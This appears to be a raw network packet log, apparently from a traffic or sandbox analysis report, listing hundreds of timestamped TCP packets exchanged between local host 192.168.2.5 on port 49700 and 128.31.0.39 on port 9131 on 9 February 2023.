Feb 9, 2023 00:59:58.815969944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.815980911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.815994024 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816010952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816011906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816044092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816052914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816070080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816073895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816101074 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816107035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816128969 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816158056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816162109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816190004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816207886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816221952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816242933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816251993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816282988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816313028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816333055 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816333055 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816333055 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816343069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816376925 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816381931 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816407919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816418886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816438913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816445112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816467047 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816469908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816485882 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816502094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816533089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816550016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816565037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816591024 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816595078 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816625118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816626072 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816643953 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816654921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816673994 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816684961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816709042 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816715002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816729069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816745043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816773891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816792965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816792965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816802979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816819906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816833973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.816853046 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.816878080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.833863974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.833942890 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.834429026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.834516048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.837856054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.837924957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.837938070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.837970972 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.839421988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.839458942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.839488983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.839507103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.839507103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.839554071 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840044022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840079069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840095043 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840126038 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840361118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840423107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840424061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840464115 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840526104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840560913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840579033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840624094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840653896 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840665102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840687037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840704918 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840714931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840753078 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840756893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840792894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840797901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840830088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840832949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840864897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840867996 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840900898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840900898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840935946 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840950966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.840991020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.840995073 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.841032982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.841042042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.841087103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917457104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917503119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917541981 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917546034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917578936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917593002 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917615891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917618036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917637110 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917655945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917666912 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917706966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917709112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917746067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917752028 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917793036 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917804956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917849064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917855978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917897940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917927980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.917982101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.917996883 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918034077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918044090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918071032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918080091 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918118000 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918126106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918163061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918174028 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918199062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918211937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918235064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918246031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918272972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918282986 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918317080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918512106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918617010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918627977 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918658018 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918679953 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918715954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918721914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918764114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918775082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918812037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918818951 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918857098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918869972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.918921947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.918988943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919039011 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919040918 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919085026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919097900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919137955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919147968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919183016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919193983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919231892 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919234991 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919266939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919277906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919302940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919308901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919341087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919392109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919478893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919501066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919517994 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919589043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919605017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919646978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919714928 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919725895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919766903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919807911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919820070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919864893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919903994 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919909954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.919944048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919984102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.919987917 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920018911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920058966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920068026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920106888 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920151949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920206070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920249939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920289040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920291901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920326948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920373917 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920377016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920393944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920443058 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920450926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920490980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920527935 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920531988 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920583963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920619965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920625925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920656919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920692921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920700073 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920741081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920787096 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920793056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920830965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920869112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920876026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920927048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.920972109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.920995951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921044111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921081066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921087980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921117067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921152115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921159029 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921194077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921210051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921236992 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921247959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921283960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921303034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921320915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921360016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921361923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921415091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921454906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921459913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921561956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921600103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921633959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921693087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921746969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921750069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921782017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921818972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921833992 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921854973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921899080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921905041 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.921945095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921982050 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.921993017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922019005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922055006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922060966 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922090054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922126055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922131062 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922164917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922202110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922210932 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922238111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922276020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922281981 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922312975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922357082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922389030 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922462940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922509909 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922538042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922576904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922612906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922616959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922652960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922750950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922791958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922831059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922883034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.922892094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922930002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922966003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.922976017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923003912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923041105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923049927 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923079014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923114061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923122883 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923151016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923187017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923197031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923224926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923260927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923269987 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923297882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923335075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923351049 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923374891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923413038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923424959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.923450947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.923504114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.934783936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.934812069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.935118914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.935249090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.935271025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.935673952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.938823938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.938848019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.938874006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.938895941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.938925982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.938955069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.940346003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940370083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940391064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940409899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940429926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940432072 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.940449953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.940480947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.940516949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.942126989 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942159891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942188978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942220926 CET	9131	49700	128.31.0.39	192.168.2.5
